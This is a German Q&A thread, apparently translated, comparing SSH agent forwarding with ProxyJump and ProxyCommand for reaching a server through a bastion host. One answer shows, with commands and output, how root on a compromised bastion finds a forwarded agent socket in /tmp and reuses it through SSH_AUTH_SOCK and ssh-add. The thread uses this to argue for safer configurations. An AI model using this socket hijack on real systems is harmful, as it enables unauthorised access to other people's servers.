Wir haben Bastion Server B. Wir müssen SSH von A über B nach C mit privatem Schlüssel.

Was ist die bessere Option:

• Legen Sie den privaten SSH-Schlüssel auf Server B. Wir haben gelesen, dass es eine schlechte Idee ist, dies in einer Produktionsumgebung zu tun.

  Von hier aus :

  Platzieren Sie niemals Ihre privaten SSH-Schlüssel auf der Bastion-Instanz. Verwenden Sie stattdessen die SSH-Agentenweiterleitung, um zuerst eine Verbindung zur Bastion und von dort zu anderen Instanzen in privaten Subnetzen herzustellen. Auf diese Weise können Sie Ihren privaten SSH-Schlüssel nur auf Ihrem Computer behalten.

• Verwenden Sie die SSH-Agentenweiterleitung . Zum Einrichten der Agentenweiterleitung muss die TCP-Weiterleitung zugelassen werden. Beim Einrichten der Agentenweiterleitung wird auf dem Weiterleitungshost eine Socket-Datei erstellt. Dies ist der Mechanismus, mit dem der Schlüssel an das Ziel weitergeleitet werden kann. In den Bastion-Einstellungen bei AWS:

  TCP-Weiterleitung: Wenn Sie diesen Wert auf true setzen, wird die TCP-Weiterleitung (SSH-Tunneling) aktiviert. Dies kann sehr nützlich sein, stellt jedoch auch ein Sicherheitsrisiko dar. Wir empfehlen daher, die Standardeinstellung (deaktiviert) beizubehalten, sofern dies nicht erforderlich ist

  Auch von hier :

  SSH Agent Forwarding gilt als schädlich

Was ist besser? Was ist mit der Alternative aus dem zweiten Link: ProxyCommand , ich verstehe, dass es beim Problem mit der Socket-Datei hilft, aber ich denke immer noch, dass ich die TCP-Weiterleitung aktivieren muss. Ist es also sicher genug?

Verwenden Sie ProxyCommand oder ProxyJump

Ich würde empfehlen, zu verwenden ProxyCommand(oder noch besser, ProxyJumpda die Syntax einfacher ist, aber OpenSh 7.3+ erfordert, denke ich auf der Clientseite), und Sie müssen keinen privaten Schlüssel auf der Bastion bereitstellen, alles bleibt lokal.

Beispiel mit ProxyJump

Auf Ihrem Client-Computer schreiben Sie eine Datei ~/.ssh/configmit einem ähnlichen Inhalt wie unten:

Host bastion
  HostName bastion.example.com
  User bastion-user
  Port 22
  IdentityFile ~/.ssh/id_bastion

Host srvC
  HostName srvC.local
  User server-user
  IdentityFile ~/.ssh/id_protected_lan
  ProxyJump bastion

Wenn Sie dies tun, ssh srvCwerden Sie über B (Bastion) mit C verbunden, ohne dass der Agent weitergeleitet oder der private Schlüssel für die Bastion bereitgestellt wird.

Im obigen Beispiel ist "bastion" ein Alias ​​für Ihren Bastion-Host und srvC ein Alias ​​für Ihren Server C. In müssen HostNameSie entweder IPs oder einen echten vollqualifizierten Domainnamen für Ihre Hosts eingeben . Für die Benutzer müssen Sie den Userfür den richtigen Anmeldenamen auf der Bastion und dem Server C aktualisierten Namen aktualisieren . Schließlich IdentityFileist dies optional, wenn Sie einen lokalen Agenten (z. B. KeeAgent oder ssh-agent) verwenden, dieser jedoch nicht ausgeführt wird arbeiten und fragen Sie nach jeder Schlüsselpassphrase.

Bereitstellen der öffentlichen Schlüssel

Natürlich müssen Sie die öffentlichen Schlüssel sowohl für Bastion als auch für srvC bereitstellen. Sie können Folgendes verwenden (das $ -Zeichen dient nur zur Veranschaulichung der Eingabeaufforderung, geben Sie es nicht ein):

$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   srvC

Hinweis: Die oben genannten Funktionen funktionieren nur, wenn die Kennwortauthentifizierung weiterhin zulässig ist. Nach der obigen Bereitstellung und der Überprüfung, ob alles wie beabsichtigt funktioniert, sollten Sie die Kennwortauthentifizierung auf den beiden Servern nicht zulassen.

Beispiel mit ProxyCommand anstelle von ProxyJump

Wenn Sie eine ältere Version von OpenSSH haben, die ProxyJump(auf der Clientseite) nicht unterstützt , ersetzen Sie:

ProxyJump bastion

durch

ProxyCommand ssh -q -W %h:%p bastion

Soweit ich verstanden habe, ist dies ähnlich.

Ich habe die Antwort zu ProxyJump gesehen. Lassen Sie uns über ProxyCommand sprechen .

Aber warte, warte! Ich kann Ihnen schreiben, wie Sie den Server hacken, der die Agentenweiterleitung verwendet. Das wäre viel einfacher, den Unterschied zu verstehen!

Lass uns hacken!

Für die grundlegenden Schritte: Sie können meinen Beitrag hier lesen

Grundlegende Schritte sind die folgenden:

1. Erstellen Sie Bastionbenutzer
2. Deaktivieren Sie die Root-Anmeldung
3. Blockieren Sie Hacking-Versuche
4. Port wechseln
5. Konfigurieren Sie die Firewall
6. Konfigurieren Sie SELinux

Verwendung von AgentForwarding

-Erstellen Sie die Konfiguration in ~ / .ssh / config

  Host bast
        Hostname BASTION_IP
        ForwardAgent yes
        User bastion

- Fügen Sie Ihren Authentifizierungsschlüssel zu ssh-agent hinzu

ssh-add ~/.ssh/name_rsa

-Verbinden Sie sich mit Bastion Hos

ssh bast

- Verbinden Sie den Anwendungsserver mit der Bastion

 ssh app@IP -p PORT

Hacken!

Sie können mir die Frage stellen:

• Ist mein Server sicher? Und die Antwort ist ganz einfach:

  • NEIN!

• Warum?

  • Weil Sie die SSH Agent-Weiterleitung verwenden!

• Und wo ist das Problem?

  • Weil die Weiterleitung von Agenten gefährlich ist und als schädlich angesehen wird.

• Warum?

  • Lassen Sie uns alles von innen nach außen erklären: Wenn Sie den Bastion-Host verbinden, wird Ihr herrlicher SSH-Agent weitergeleitet. Dies bedeutet, dass der Socket so eingerichtet wird, dass jemand diese Socket-Daten für den Zugriff auf Ihre Server verwenden kann. Stellen Sie sich vor, Ihr Bastion-Server ist kompromittiert. Wenn jemand über ausreichende Berechtigungen für Ihren Linux-Server verfügt, verwendet er nur Ihre Socket-Informationen. Infolgedessen kann auf alle Ihre Server zugegriffen werden. Ich weiß, dass das Kompromissfenster sehr klein ist, da es davon abhängt, wie viel Zeit Sie mit dem Bastion-Host verbunden sind. Aber möchten Sie wirklich das Risiko eingehen, wenn Sie andere Optionen wie ProxyCommand haben? Verwenden Sie daher einfach ProxyCommand!

Wie kann man Server hacken, wenn man den Bastion-Host kompromittiert hat?

Ziel verfolgen

Im Verzeichnis / tmp sehen Sie möglicherweise Folgendes:

[root@localhost tmp]# ll
total 12
drwx------  2 bastion bastion 4096 Sep  7 17:35 ssh-mKX88v0Vlo

Öffnen wir die temporäre Datei

[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep  7 17:35 agent.10507

Sehen wir uns die Verbindungen zu dieser Prozess-ID an.

netstat -nxp | grep  10507

Ergebnis:

unix  [ ]   STREAM     CONNECTED     501384   10507/sshd: bastion

und wer ist verbunden?

lsof -i -a -p 10507

Ergebnis:

COMMAND  PID   USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
sshd    10507 bastion  3u  IPv4 501301  0t0  TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)

Wir können auch Socket-Dateien sehen:

cd /proc/10507/fd/
ls

Ergebnis:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Und was passiert, wenn der Client mit dem Remote-Server verbunden wird? Mal sehen:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Wir können sogar sehen, ob eine Socket-Datei mit netstat verwendet wird:

unix  3 [ ]  STREAM  CONNECTED  502267  10561/sshd: 
                     bastion  /tmp/ssh-oVoMXC6vb8/agent.10561
unix  3  [ ] STREAM     CONNECTED     502072   10561/sshd:  bastion 

Stehlen Sie Socket-Informationen und IP-Adresse

Jetzt müssen wir die Socket-Informationen stehlen, während die Sitzung des Bastion-Hosts geöffnet ist . Oh, wir brauchen auch die IP des Zielservers , also benutze einfach netstat:

netstat -tn

Der letzte Schritt zur Verwendung der weitergeleiteten Socket-Datei

eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507

Überprüfen Sie, ob der Schlüssel geladen ist .

ssh-add -l

führen sollte etwas sein , wie das :

2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)

Server ist gehackt, wie kann man das Sicherheitsproblem beheben?

Proxy-Befehl

Host app
    Hostname *.*.*.*
    IdentityFile ~/.ssh/your_rsa
    User *******
    Port ****
    ProxyCommand ssh -W %h:%p bast

Host bast
     Hostname *.*.*.*
     ForwardAgent no
     User ******

Für grundlegende Operationen: Wie man Dateien über die Server überträgt (von Client zu Server, Server zu Client), können Sie in meinem Beitrag hier lesen

Fazit

• Wenn Sie einen Bastion-Host verwenden, verwenden Sie nicht AgentForwarding, sondern ProxyCommand
• Verwenden Sie zur Authentifizierung immer Benutzer ohne Rootberechtigung
• Verwenden Sie eine Firewall und blockieren Sie alle unnötigen Verbindungen.
• Verwenden Sie SELinux (im Allgemeinen)
• Blockieren Sie die IP-Adresse, die mehrmals versucht, sich mit falschen Anmeldeinformationen anzumelden
• Wenn dies nicht erforderlich ist, geben Sie dem Benutzer keine sudo-Berechtigung
• Überwachen Sie Ihren Server
• Aktualisieren Sie Ihren Server auf Sicherheitspatches

Weitere Informationen finden Sie in meinem Blog . Zusätzlich habe ich einige Screeenshots, so dass es für Sie hilfreich sein kann.

Verwenden Sie einfach die SSH-Agentenweiterleitung wie die meisten anderen.

• Die Schlüssel befinden sich im SSH-Agenten auf Ihrem Laptop.
• Sie melden sich bei Bastion an und werden über den Agenten authentifiziert.
• Von dort aus melden Sie sich bei Ihrem Zielhost an, wobei die Authentifizierungsanforderung an Ihren Laptop zurückgeleitet wird .

Vorteil: In der Bastion sind keine Schlüssel gespeichert, die missbraucht werden können.

Ich hoffe, das hilft :)